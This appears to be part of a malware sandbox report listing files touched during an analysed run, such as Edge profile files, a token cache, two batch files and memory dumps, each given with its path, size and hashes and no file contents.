MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 9b0ded2575b3fd3ee7b71d0c3d65aafc3ff0f6dec86ddea17b2d50e1d709ed3a
MD5 b29bd86619cf21872eb0373fe5a55c9a
SHA1 55aa561ee8ad82ec000176a9a1bfb731717d529c
SHA512 06de50f40ee87eaa7c74b39f3f2a134d400c31751e055fc8768f49bc938841988d23a0a4449e13fd08d337c655bcaa66a45e7431597c95a83d0d71a503d6fc72
SSDEEP 96:KITKKMsOQl6J17HzEDHIvJNEKRhJTE9V1o73AwKZiWGC:sxP8jX
TLSH
T157917912313A0241387EA61895AAAB3F0A917D733019E67F77AA047A0F67E154CFCDCD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 f4582f561f406bbcabfe8102addd2141cbcdbf863124214cfcc78aaa801d3f16
MD5 9dbd50eeb1b67fa88f66e176f754d79d
SHA1 f6cca88ba58b995eb81ba7104adcf57093c3c968
SHA512 ddb2adcb43a7cc1e5ffe0c9b7c294736f689277676a266665076d23eddcd128e1c0595777900a86347a1f2e63ead65db746d3f6fd01acc561e58d2730ff84dda
SSDEEP 384:bZcIqsNRAmq9nkULuVXq6U2HHxXKoZ76BMqKWI48PAd7O6R2FeowlOob:Dq74NKi6NKWI4kAd7TRIc
TLSH
T1BEB26C7D9C649C3F04AFB709A64E29235DB8413BD6F89A48E7EC171DC17695CF305822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 a6a09d36923086de9de7817e4d2cd566ebad3255725f6e4c187b1bb89897a77b
MD5 5b800772bd50cedadcecf2c0c554c9e5
SHA1 cdadc58afbaae8db4bee8f218346b5ff2fbb6f34
SHA512 a61a3fa469b85098e99713a999b7e825f13a4ffd8b355115fa63c8f18b9a742ce5c9d3d7d60e16603dc291b6f262e51e6d50a0c3633872e90a22b440f4752848
SSDEEP 384:SZcIvsNRkmq9nKGLuVXq6U2HHxXiY7O6R2FeowlOob:gvZ4NiY7TRIc
TLSH
T17E827E7268789C375AEBE246F44636039EF8915B97C96F80D5EC6B2D01DA6AC030AC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 1317ab4a08c06aab0485284781e93541625583a60fe7cea846c4566776f30ad3
MD5 52869dc942e66cb90cbae795d14c7979
SHA1 a832cb08e4b8c767093e66823bacdf0d9a756859
SHA512 6c899e798bbfad6143666d5eae68e0b7fb3463bedcd9df10c24e121c4ca9d2f489bd56fff8bbabc8ffcbe7f83e00faa2b13f7e92e8f9cd2a2e1c94399660e36a
SSDEEP 192:mON66rvoQmiUyQKeDrKhD4XqMB/1jajzonMKHGExfjU6:mON66c1+6Xq6U2HHvbU6
TLSH
T17E02E935A8686C7B9EE6BE45B4873B135FE4212BA6846F84DAE81B1C00D765C1306D37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 56e06fe3f907ef3bb01a69f2173228865a3527e37e694386b2cc2439bb2470b1
MD5 5603a0dca11df4534687279e82adc14c
SHA1 ca33e0a5c8374d940b015f082443d51d970e2df6
SHA512 0d24552a749659b6785f631f6f0c07cee78e43be5387f31989ecc1480d2a2c2be40a92687bccc16763b4e5b0fcefa7244883d4dcc6d69059e260103cfe3f29c8
SSDEEP 192:5ONU6rvOQmiUykeDehD4XqMB/1jajzonMKHxX+nICaqb1mU6:5ONU62we6Xq6U2HHxXyYU6
TLSH
T11512FB32A468AC3B5ED3B645B08735135EA4521BDB897F90DAFC2A2C01EF65C530ED27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 01af82cc53e1ef09a32a19425d10a7fa47d7510dd29cd70ed118578b4be97406
MD5 98d3d666e17982d8d7a1463f98ab3124
SHA1 c0abc690ece1284f30a1e27d09e204bc558b3934
SHA512 8e9e61fb24ec6d786fb05fa1c424efd6dbd2e575ce17aa99ac56ce8a19dfe10c3fca78ce5f1871dcabea8ad0d5bd1953fa6142772abbcfe58067918dfa767b65
TLSH
T10B41F658A6F91148B3B77F56AFF2A4AC48BBBC772E06C49D11010E4F0962B41C9A1B37
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tzlznjtp.lbn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tzlznjtp.lbn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

~sec_45553.bat

Path C:\Users\Admin\Searches\~sec_45553.bat
Size 141B
SHA256 13b6560eaf83d7b5b621b54f6a2d709e2f7fc05c68a6d8b09e66d3ce7ca0324f
MD5 4ff6c99a3f67cfd88925472ae646d442
SHA1 4edc508cea085cfffa09618051a76317e8bea85c
SHA512 5aa6d60cd47f6277a2cefecd8ea00898567957935fc62d2179ceaa17c349cfb97e4821e5871582a4a232e1d466b04f5915919440fd3caa9452b23f5c2dc22d22
TLSH
T146C04CC641711066060388D6BB1C59AC7A17509988D06E90A2D89E189C37A5226D5B11
MD5 SHA1 SHA512 TLSH

Submit Download

output.bat

Path C:\Users\Admin\output.bat
Size 75KB
SHA256 ef029511e1686da8e36b5a725ac96a5ea3f27e8199633b173da72c401f5f897a
MD5 148633f1f40df6c8f0909d3283519d43
SHA1 2dbe9ba1bf3a046db042bd51d615bed0ebc10b57
SHA512 0b1449c4da498f8e246375bb39cbc932fdd83bdfc556298ce102a43723e3e5a13e8ef6d9f33ce4e6f644d8766c4f7c7d31720aa6b088a2fb7df88934629e52ab
SSDEEP 1536:sUlI0H9YryGPDd92w90UqDrAi0TsJBZEAnCdizJWINXAxKuF5cP0DJ+Uex:Rx9YdxwqwjJQACdOJWI/svUUex
TLSH
T14D738DC5B0A8FDD3446E717133A7DFE4A117430B765D0854722E82AE83C8B4D36DAEA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3792-303-0x00000198A55C0000-0x00000198A5660000-memory.dmp

Download

memory/3792-302-0x00007FFC445E0000-0x00007FFC4469D000-memory.dmp

Download

memory/3792-301-0x00007FFC46270000-0x00007FFC46468000-memory.dmp

Download

memory/3792-299-0x00000198A39F0000-0x00000198A3A12000-memory.dmp

Download

memory/3792-304-0x00000198A5660000-0x00000198A567E000-memory.dmp

Download

memory/3792-305-0x00000198A5740000-0x00000198A5752000-memory.dmp

Download

memory/3792-306-0x00000198A57A0000-0x00000198A57F0000-memory.dmp

Download

memory/3792-307-0x00000198A66E0000-0x00000198A6792000-memory.dmp

Download

memory/3792-308-0x00000198A6D80000-0x00000198A6F42000-memory.dmp

Download

memory/3792-309-0x00000198A5750000-0x00000198A579C000-memory.dmp

Download

memory/3792-310-0x00000198A7480000-0x00000198A79A8000-memory.dmp

Download